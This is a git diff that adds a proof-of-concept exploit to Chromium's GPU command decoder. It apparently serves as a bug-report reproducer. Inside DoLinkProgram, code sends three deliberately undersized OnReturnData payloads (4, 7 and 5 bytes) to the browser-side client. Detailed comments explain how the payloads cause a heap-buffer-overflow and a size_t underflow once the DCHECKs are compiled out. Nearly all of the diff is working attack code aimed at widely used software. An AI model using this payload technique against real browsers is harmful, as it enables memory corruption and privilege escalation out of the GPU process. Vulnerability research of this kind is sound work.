diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
index 2c8508dc021cf..b1343604de4bb 100644
--- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
+++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
@@ -2204,6 +2204,69 @@ error::Error GLES2DecoderPassthroughImpl::DoLinkProgram(GLuint program) {
 
   linking_program_service_id_ = program_service_id;
 
+  // ====================================================================
+  // POC: simulate compromised GPU process sending undersized OnReturnData.
+  //
+  // Threat model: a compromised GPU process can invoke
+  // mojom::CommandBufferClient::OnReturnData with arbitrary bytes at any
+  // time. We send a 4-byte payload (just GLES2ReturnDataHeader).
+  //
+  // On the receiving side (renderer/browser GLES2Implementation):
+  //   - DCHECK(data.size() > 4) at gles2_implementation.cc:624 is compiled
+  //     out (is_debug=false, dcheck_always_on=false).
+  //   - return_data_type at offset 0 reads as 0 = kES2ProgramInfo.
+  //   - UpdateProgramInfo is called.
+  //   - DCHECK(data.size() > 8) at gles2_implementation.cc:191 compiled out.
+  //   - Line 194 reads program_client_id from data.data()[4..8]
+  //     -> 4 bytes past the 4-byte allocation -> heap-buffer-overflow.
+  //   - Line 197 computes data.size() - 8 = 4 - 8 -> SIZE_MAX-3 (underflow).
+  //
+  // We send THREE payloads to maximize ASAN coverage:
+  //   1) 4-byte all-zero: program_client_id read is fully OOB.
+  //   2) 7-byte: low 3 bytes of program_client_id are in-bounds and equal
+  //      `program`; high byte is 1 byte OOB. If that OOB byte happens to be
+  //      0, find() succeeds and the SIZE_MAX-sized span flows into UpdateES2
+  //      where Load<ProgramInfoHeader> memcpy's 12 bytes from data.data()+8
+  //      (entirely past the allocation).
+  //   3) 5-byte: type + 1 byte; program_client_id read straddles the
+  //      boundary (3 bytes OOB).
+  // ====================================================================
+  {
+    fprintf(stderr,
+            "[POC-GPU] DoLinkProgram(client_id=%u) -> sending undersized "
+            "OnReturnData payloads to trigger size_t underflow in client\n",
+            program);
+
+    // Payload 1: 4 bytes, all zero. kES2ProgramInfo=0. program_client_id
+    // read at [4..8) is fully OOB.
+    {
+      std::vector<uint8_t> evil = {0, 0, 0, 0};
+      client()->HandleReturnData(base::span<const uint8_t>(evil));
+    }
+
+    // Payload 2: 7 bytes. Type=kES2ProgramInfo, low 24 bits of
+    // program_client_id = `program`. Byte [7] (MSB on little-endian) is OOB.
+    // data.size() - 8 = 7 - 8 underflows to SIZE_MAX. If find() succeeds
+    // (OOB byte reads as 0), UpdateES2 reads 12 bytes from data.data()+8.
+    {
+      std::vector<uint8_t> evil = {
+          0, 0, 0, 0,  // kES2ProgramInfo
+          static_cast<uint8_t>(program & 0xFF),
+          static_cast<uint8_t>((program >> 8) & 0xFF),
+          static_cast<uint8_t>((program >> 16) & 0xFF),
+      };
+      client()->HandleReturnData(base::span<const uint8_t>(evil));
+    }
+
+    // Payload 3: 5 bytes. program_client_id read at [4..8) crosses the
+    // allocation boundary by 3 bytes.
+    {
+      std::vector<uint8_t> evil = {0, 0, 0, 0,
+                                   static_cast<uint8_t>(program & 0xFF)};
+      client()->HandleReturnData(base::span<const uint8_t>(evil));
+    }
+  }
+
   return error::kNoError;
 }